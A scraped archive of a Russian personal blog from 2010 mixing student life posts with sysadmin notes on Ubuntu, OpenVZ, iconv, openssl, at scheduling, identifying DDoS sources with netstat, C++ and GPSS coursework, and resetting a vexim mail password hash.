http://design.canonical.com/2010/06/when-new-users-first-encounter-ubuntu-5-show-stoppers/
Скоро, похоже, убунту окончательно превратят в подобие винды.
Только вопрос возникает - а нужна ещё одна такая поделка?
Виндузятники всё равно шило на мыло не поменяют, а пользователей других дистров это явно не привлечёт.
ЗЫ
А новая убунта серверная (10.04) настолько передовая, что никому нах не нужна, ибо в ней нихера не работает. Приходится некоторые вещи в ней даунгрейдить, подключая кармик.
http://design.canonical.com/2010/06/when-new-users-first-encounter-ubuntu-5-show-stoppers/
Скоро, похоже, убунту окончательно превратят в подобие винды.
Только вопрос возникает - а нужна ещё одна такая поделка?
Виндузятники всё равно шило на мыло не поменяют, а пользователей других дистров это явно не привлечёт.
ЗЫ
А новая убунта серверная (10.04) настолько передовая, что никому нах не нужна, ибо в ней нихера не работает. Приходится некоторые вещи в ней даунгрейдить, подключая кармик.
вторник, 22 июня 2010 г.
Сессия completed!
Четвёртый курс позади! ))
Но без потерь не обошлось, потерял 2 очка, одно - за счёт крайней своеобразности преподавателя при оценке курсовой, и ещё одно - попал к чужому преподу, который начал спрашивать то, что наш не отчитал.
Итого, за четыре года 3 четвёрки. Ну, в принципе неплохо..
По идее, надо начинать писать курсовую за 9 семестр, но пока как-то неохота )
Но без потерь не обошлось, потерял 2 очка, одно - за счёт крайней своеобразности преподавателя при оценке курсовой, и ещё одно - попал к чужому преподу, который начал спрашивать то, что наш не отчитал.
Итого, за четыре года 3 четвёрки. Ну, в принципе неплохо..
По идее, надо начинать писать курсовую за 9 семестр, но пока как-то неохота )
Denver - это зло
Прописная истина - не надо ставить апач с пхп на винду токо из-за того, что это возможно. Потом, при заливке на хостинг, будут всякие сюрпризы. Но всё равно ставят всякие сборки-поделки вместо того, чтобы завести дома пингвина или чёртика, сделать всё как следует и залить на площадку.
понедельник, 21 июня 2010 г.
Про ЖЖ
Заглянул я сейчас в ЖЖ Митрича, посмотреть, что новенького у него. Ничего нового у Женьки не оказалось, я решил проверить - есть интеграция блогов и цапнул "зафрендить". Зафрендить не получилось и меня редиректнули на пагу с популярными ЖЖрастами и их писаниной.
Раньше я считал, что ЖЖ это некая политизированно-фаллометрическая херня, в которой токо и обсуждают политику и меряются пиписьками (и сиськами тоже).
Пробежавшись глазами по топу постов появилась мысль, что на самом деле это некое реалити-шоу, вроде "Люди на унитазе". Все срутся на потеху публике, считают, кто скоко забанил и кто кого игнорит и т.д. Ну, и разумеется, все там политически грамотные и уж они-то точно знают, что и как надо делать.
Сразу вспоминаются товарищи, которые делая вид, что плюются, с жадностью читают этот флуд и потом, опять же плюясь, пытаются донести его до других.
Справедливости ради замечу, что, конечно, не весь ЖЖ такой, есть вполне себе блоги, в которые интересно заглянуть, что-то черкануть.
Раньше я считал, что ЖЖ это некая политизированно-фаллометрическая херня, в которой токо и обсуждают политику и меряются пиписьками (и сиськами тоже).
Пробежавшись глазами по топу постов появилась мысль, что на самом деле это некое реалити-шоу, вроде "Люди на унитазе". Все срутся на потеху публике, считают, кто скоко забанил и кто кого игнорит и т.д. Ну, и разумеется, все там политически грамотные и уж они-то точно знают, что и как надо делать.
Сразу вспоминаются товарищи, которые делая вид, что плюются, с жадностью читают этот флуд и потом, опять же плюясь, пытаются донести его до других.
Справедливости ради замечу, что, конечно, не весь ЖЖ такой, есть вполне себе блоги, в которые интересно заглянуть, что-то черкануть.
Пермалинк на оптимайзер
А то вечно логиниться напрягает и wget'ом не скачаешь.
Для нужной версии и платформы поменять соотв. букаффки и циффирки:
http://downloads.zend.com/optimizer/3.3.9/ZendOptimizer-3.3.9-linux-glibc23-x86_64.tar.gz
Для нужной версии и платформы поменять соотв. букаффки и циффирки:
http://downloads.zend.com/optimizer/3.3.9/ZendOptimizer-3.3.9-linux-glibc23-x86_64.tar.gz
Жутко бесит
upstart
Вот хер ли ему делать на сервере?! Из-за этой дряни не работает
1. заменить upstart на православный init
2. сделать патч для vzctl
3. обмануть openvz
4. забить на --wait
ИМХО, самым правильным будет 3, ибо патч - слишком глобально и неизвестно, где это может сыграть.
Вот хер ли ему делать на сервере?! Из-за этой дряни не работает
vzctl start --waitКак варианты:
1. заменить upstart на православный init
2. сделать патч для vzctl
3. обмануть openvz
4. забить на --wait
ИМХО, самым правильным будет 3, ибо патч - слишком глобально и неизвестно, где это может сыграть.
суббота, 12 июня 2010 г.
Openair
Впервые сходил на опенэйр )
Хардцоре на свежем воздухе - это круто )) Правда, уйти пришлось на самом интересном месте - перед выступлением Зурга с Гайвером. Ультрариора тоже послушать не удалось (
Но всё равно было весело )) Жду фоток
Хардцоре на свежем воздухе - это круто )) Правда, уйти пришлось на самом интересном месте - перед выступлением Зурга с Гайвером. Ультрариора тоже послушать не удалось (
Но всё равно было весело )) Жду фоток
четверг, 10 июня 2010 г.
ФЛП: GPSS
Наткнулся я тут случайно на свою курсовую полугодичной давности по gpss. Сделал я её тогда за ночь )) Пусть висит )
Надо было смоделировать такую карусель:
Автобус совершает в день N рейсов между пунктами A и B. В течение дня с вероятностью a возможно появление дефекта, при котором автобус может продолжать движение. На устранение дефекта необходимо затратить время одного рейса. Если дефект не устранить, то с вероятностью b возникает поломка, на устранение которой уходит весь оставшийся день.
У водителя, в случае появления дефекта, есть выбор:
1. Устранить дефект.
2. Продолжить движение.
При каком b предпочтителен тот или иной вариант?
a = 0.2, N = 25
Реализовал я это так:
Вот, довольно лаконично.
Надо было смоделировать такую карусель:
Автобус совершает в день N рейсов между пунктами A и B. В течение дня с вероятностью a возможно появление дефекта, при котором автобус может продолжать движение. На устранение дефекта необходимо затратить время одного рейса. Если дефект не устранить, то с вероятностью b возникает поломка, на устранение которой уходит весь оставшийся день.
У водителя, в случае появления дефекта, есть выбор:
1. Устранить дефект.
2. Продолжить движение.
При каком b предпочтителен тот или иной вариант?
a = 0.2, N = 25
Реализовал я это так:
10 INITIAL LS$POLOMKA 0 ; инициализация флага20 TAB_RES TABLE P1 10 15 2 ; создание таблицы30 GENERATE 30,,,25 ;генерация N транзактов40 GATE LR POLOMKA SLOMAN ;проверка флага и соотв. переход50 TRANSFER .2,,DEFECT ;переход с вероятностью a в DEFECT60 SUCCESS ASSIGN 1 1 ;запись в параметр успешного значения70 TABULATE TAB_RES ;запись параметра в таблицу80 TERMINATE 1 ;завершение100 DEFECT TRANSFER .1,,LOMAETSA ;переход с вероятностью b в LOMAETSA110 TRANSFER ,SUCCESS ;переход в SUCCESS120 LOMAETSA LOGIC S POLOMKA ;поднятии флага POLOMKA130 SLOMAN ASSIGN 1,25 ;запись в параметр неудачного значения140 TABULATE TAB_RES ;запись параметра в таблицу150 TERMINATE 1 ;завершение
Вот, довольно лаконично.
понедельник, 7 июня 2010 г.
четверг, 3 июня 2010 г.
Перекодировка в консоли
Есть текст input в cp1251. Надо прочитать его в консоли фряхи или в линя в utf-8.
FreeBSD:
FreeBSD:
iconv -f cp1251 -t utf-8 inputLinux:
iconv -fcp1251 -tutf-8 input
среда, 2 июня 2010 г.
Про безопасные соединения
OpenSSL Command-Line HOWTO
Самое необходимое:
Иногда может потребоваться указать протокол: -ssl2 или -ssl3# port 25/TLS; use same syntax for port 587 openssl s_client -connect remote.host:25 -starttls smtp # port 465/SSL openssl s_client -connect remote.host:465
# imaps: IMAP over SSL openssl s_client -connect remote.host:993 # pop3s: POP-3 over SSL openssl s_client -connect remote.host:995
понедельник, 31 мая 2010 г.
Долгожители
Сегодня, 31 мая, на N-ом сервере на 140 дне жизни были зверски убиты подвергнуты эвтаназии находящиеся в состоянии S процессы 90553 и 90637.
Вскрытие покажет, почему они прожили столь долгие жизни, хотя и находясь в коме.
Вскрытие покажет, почему они прожили столь долгие жизни, хотя и находясь в коме.
воскресенье, 30 мая 2010 г.
Первые впечатления от Fedora 13 (RF)
Wimax работает из коробки.
В кедах есть возможность настроить synaptic.
Ноут засыпает на диск и просыпается.
В кедах есть возможность настроить synaptic.
Ноут засыпает на диск и просыпается.
суббота, 29 мая 2010 г.
Fedora 13: подготовка
Бекап хомяка готов, снимаю бекап корня.
Ставить наверно буду завтра, сегодня походу не успею. Как я понял, в 13 Федоре опять не сделали поддержку dom0, но вроде есть специальный костыль.
Ставить наверно буду завтра, сегодня походу не успею. Как я понял, в 13 Федоре опять не сделали поддержку dom0, но вроде есть специальный костыль.
пятница, 28 мая 2010 г.
Вот такой он сейчас, Интернет
- Internet Statistics
Autonomous Systems with IPv4 Announcements Observed: 34,960
Autonomous Systems with IPv6 Announcements Observed: 2,290
IPv4 Prefixes Observed: 353,157
IPv6 Prefixes Observed: 3,261
Domains Observed: 135,750,079
Hosting Companies Observed: 18,850
Autonomous Systems with IPv6 Announcements Observed: 2,290
IPv4 Prefixes Observed: 353,157
IPv6 Prefixes Observed: 3,261
Domains Observed: 135,750,079
Hosting Companies Observed: 18,850
среда, 26 мая 2010 г.
Война макхоста и русоникса
Сегодня весь день наблюдаем, как срутся макхост и русоникс, только и успевали новые ссылки кидать друг другу. Попкорна схавали, что уже не лезет )) Последний раз так весело было, когда должна была выйти сусь то ли 11.1 или 11.2, и на ЛОРе на вопрос: "где скачать?" белка ответил: "нинадо сусе лучше убунту".
Так вот. Русоникс, почуяв что их конкурент вот-вот сдохнет, начал спамить на мобилы клиентов макхоста, что ох хостер скоро загнётся и надо перебираться к ним. В ответ макхост стал писать смски клиентам русоникса.
А потом поехало - всплыли факты переделегирования клиентских доменов, игнорирование запросов на возврат денег, пошла волна самопиара и прочей херни. В итоге получилось: одни кадры (макхост) занимаются по сути кидаловом всех и вся (только одному своему бывшему парнёру должны ~8 млн. р. и сколько ещё они должны людям за непредоставленные услуги), а другие (русоникс) внаглую пытаются из этого что-то выжать какими-то неадекватными способами - заваливая клиентов макхоста спамом, как на мыло, так и на мобилы.
Мораль - нех связываться ни с русоникс, ни с макхост. Ибо эти организации не имеют представления о том, как предоставлять услуги. Да и просто, ИМХО, не порядочны.
Так вот. Русоникс, почуяв что их конкурент вот-вот сдохнет, начал спамить на мобилы клиентов макхоста, что ох хостер скоро загнётся и надо перебираться к ним. В ответ макхост стал писать смски клиентам русоникса.
А потом поехало - всплыли факты переделегирования клиентских доменов, игнорирование запросов на возврат денег, пошла волна самопиара и прочей херни. В итоге получилось: одни кадры (макхост) занимаются по сути кидаловом всех и вся (только одному своему бывшему парнёру должны ~8 млн. р. и сколько ещё они должны людям за непредоставленные услуги), а другие (русоникс) внаглую пытаются из этого что-то выжать какими-то неадекватными способами - заваливая клиентов макхоста спамом, как на мыло, так и на мобилы.
Мораль - нех связываться ни с русоникс, ни с макхост. Ибо эти организации не имеют представления о том, как предоставлять услуги. Да и просто, ИМХО, не порядочны.
воскресенье, 23 мая 2010 г.
Минус один.
Сдали с Ромкой, Славой и Ваней ООП - зачёт, курсовую и экзамен ))
Причём Ф-ой!!!
Думали, это никогда не случится... Она нас предупредила, что на 6 курсе просто убивать будет. Вроде, она у нас ещё 4 предмета будет вести.
Осталось всего ничего - курсовую по сетям и придумать свой язык с транслятором и написать. И ещё кой-какая писанина. Осталось на всё 2 дня ) Как обычно..
Причём Ф-ой!!!
Думали, это никогда не случится... Она нас предупредила, что на 6 курсе просто убивать будет. Вроде, она у нас ещё 4 предмета будет вести.
Осталось всего ничего - курсовую по сетям и придумать свой язык с транслятором и написать. И ещё кой-какая писанина. Осталось на всё 2 дня ) Как обычно..
Считать число. Продолжение темы.
Ранее я уже писал, как проще всего считать число из стандартного ввода и строки. Теперь возникла необходимость считать некую белиберду из строки, в которой может быть неск. элементов, пробелы и всякий мусор. Но главное, если там не чисто целое число, а, например, 4.aa, то чтобы не была считана 4, отбросив остальное. И можно было бы определить, что тут косяк.
Сделал функцию, которой передаём поток (как при чтении числа из строки),
из которого читаем:
Отрывок из кода, где такая штука используется:
Сделал функцию, которой передаём поток (как при чтении числа из строки),
из которого читаем:
string getElement(istringstream* strStream) {А потом полученную строку пытаемся загнать в переменную.
char ch;
string* input = new string;
input->assign("");
// Пропуск пробелов
do {
strStream->read(&ch, 1);
} while (ch == ' ');
// Считывание минуса, если он есть
if (ch == '-') {
input->append(1, ch);
strStream->read(&ch, 1);
}
// Поэлементное считывание числа
do {
if ((ch >= '0') && (ch <= '9')) {
if (strStream->good()) {
input->append(1, ch);
strStream->read(&ch, 1);
} else
break;
} else if (!strStream->good() || (ch == ' ') || (ch == '\n') || (ch == '\0'))
break;
else {
return "error";
}
} while (1);
return *input;
}
Отрывок из кода, где такая штука используется:
testString->assign("");
getline(inputfile, *testString);
testStream = new istringstream(*testString);
element = new istringstream(getElement(testStream));
delete testStream;
if ((*element >> s) && (s > 0) && (s <= 127)) {
outputfile << s << endl;
delete element;
}
суббота, 22 мая 2010 г.
Пятницо
Обычно по пятницам все пуляются друг в друга картинками с пьяными котами и обезьянами, тусят и отдыхают. И только мирэашники, как последние задроты, сидят за компами и пишут что-то типа:
Ибо через 8 часов надо сдавать курсовую. Да, именно в субботу.
Митяй бы сказал: "А я могу это объяснить очень просто: жизнь - это боль!" )))
Надеюсь, завтра, вернее уже сегодня, хоть одим кошмар кончится и останется ещё два )
class TwoDimenArray {
private:
short int array[ss][cc];
short int s;
short int c;
short int max;
short int maxs;
short int maxc;
bool errFlag;
public:
TwoDimenArray();
~TwoDimenArray();
void SearchMaxEl();
void CreateArray();
short int GetMax();
short int GetMaxStr();
short int GetMaxCol();
void PrintArray();
bool ErrTest();
};
void TwoDimenArray::CreateArray(int mode) {
istringstream* element;
istringstream* testStream;
//что-то будет...
}
short int TwoDimenArray::GetMax() {
return this->max;
}
short int TwoDimenArray::GetMaxStr() {
return this->maxs;
}
short int TwoDimenArray::GetMaxCol() {
return this->maxc;
}
void TwoDimenArray::SearchMaxEl() {
this->max = this->array[0][0];
for (int i = 0; i < this->s; ++i)
for (int j = 0; j < this->c; ++j)
if (this->max < this->array[i][j]) {
this->max = this->array[i][j];
this->maxs = i;
this->maxc = j;
}
}
void TwoDimenArray::PrintArray() {
outputfile << "Введённый массив:" << endl;
for (int i = 0; i < s; ++i) {
outputfile << "Строка " << i + 1 << ": ";
for (int j = 0; j < c; ++j)
outputfile << this->array[i][j] << " ";
outputfile << endl;
}
}
bool TwoDimenArray::ErrTest() {
return errFlag;
}
TwoDimenArray::TwoDimenArray() {
};
TwoDimenArray::~TwoDimenArray() {
};
Ибо через 8 часов надо сдавать курсовую. Да, именно в субботу.
Митяй бы сказал: "А я могу это объяснить очень просто: жизнь - это боль!" )))
Надеюсь, завтра, вернее уже сегодня, хоть одим кошмар кончится и останется ещё два )
пятница, 21 мая 2010 г.
вторник, 18 мая 2010 г.
Планирование однократных задач
АйБиэМ как всегда выручает годными статьями.
Как пользоваться at:
http://www.ibm.com/developerworks/ru/library/l-job-scheduling/index.html
А вкратце так:
Есть скрипт hello.sh:
Всё, пошёл миграцию контейнеров на ночь планировать.
Добавлено утром:
Если после постановки задачи в работу пришлось переписать скрипт - задачу надо ставить заново! А то получится - снится тебе, что в 3 часа по расписанию всё ломается, контейнер не переезжает как надо, вспышка, Сара Коннор за забор держится и орёт, города, объятые огнём... И всё зря! Утром оказывается, что после того, как ты дописал в скрипт - а что собственно переезжает, в 3 часа ночи vzmigrate не увидел свой последний аргумент и вместо отчёта о переезде скинул инструкцию по использованию. Воть.
Как пользоваться at:
http://www.ibm.com/developerworks/ru/library/l-job-scheduling/index.html
А вкратце так:
Есть скрипт hello.sh:
#!/bin/shОтрабатываем завтра в 3 часа ночи:
echo hello world
at -f hello.sh 03:00 tomorrow -mПроверить, что запущены atd и sendmail
Всё, пошёл миграцию контейнеров на ночь планировать.
Добавлено утром:
Если после постановки задачи в работу пришлось переписать скрипт - задачу надо ставить заново! А то получится - снится тебе, что в 3 часа по расписанию всё ломается, контейнер не переезжает как надо, вспышка, Сара Коннор за забор держится и орёт, города, объятые огнём... И всё зря! Утром оказывается, что после того, как ты дописал в скрипт - а что собственно переезжает, в 3 часа ночи vzmigrate не увидел свой последний аргумент и вместо отчёта о переезде скинул инструкцию по использованию. Воть.
понедельник, 17 мая 2010 г.
DDoS: отбиваемся
Сегодня вечером впервые с досом столкнулся - все коннекты апача забиты reading, картина в server-status выглядела стрёмно.
Первое, что на ум пришло - запретить доступ для атакующих хостов.
Выявляем
для фряхи:
Теперь надо подумать, как ещё можно мочить врага.
Первое, что на ум пришло - запретить доступ для атакующих хостов.
Выявляем
для фряхи:
и для линя:
netstat -alnt | grep ".80 " | awk '{print $5}' | cut -d. -f1-4 |sort | uniq -c | sort -n
Получаем список хостов и число коннектов с них. И кидаем их в фаер )
netstat -alnt | grep ":80 " | awk '{print $5}' | cut -d: -f1 |sort | uniq -c | sort -n
Теперь надо подумать, как ещё можно мочить врага.
четверг, 13 мая 2010 г.
Vexim. Хэш пароля.
Тут вот неожиданно понадобилось понять, как руками поменять пароль юзеру в базе vexim'а. Т.е. надо было взять новый пасс, правильно его хэшировать и засунуть в базу.
Поковырявшись в сорсах вывел следующее:
Пароль хешируется php функцией crypt(), которой передаётся пасс и salt вида $1$xxxxxxxx$, где xxxxxxxx - некая случайная последовательность.
В результате имеем строку вида: $1$xxxxxxxx$хеш_пароля, она и вставляется в базу.
Пример:
Надо юзеру user@domain.net поставить пароль 12345678
Отрабатываем скриптик:
И делаем апдейт в базе:
Поковырявшись в сорсах вывел следующее:
Пароль хешируется php функцией crypt(), которой передаётся пасс и salt вида $1$xxxxxxxx$, где xxxxxxxx - некая случайная последовательность.
В результате имеем строку вида: $1$xxxxxxxx$хеш_пароля, она и вставляется в базу.
Пример:
Надо юзеру user@domain.net поставить пароль 12345678
Отрабатываем скриптик:
<?phpПолучаем строчку $1$adevtdnu$BXoKOb9rWVuC7jCZuMooH/
echo crypt('12345678', '$1$adevtdnu$');
?>
И делаем апдейт в базе:
UPDATE users
SET crypt='$1$adevtdnu$BXoKOb9rWVuC7jCZuMooH/'
WHERE username='user@domain.net';
Подписаться на:
Сообщения (Atom)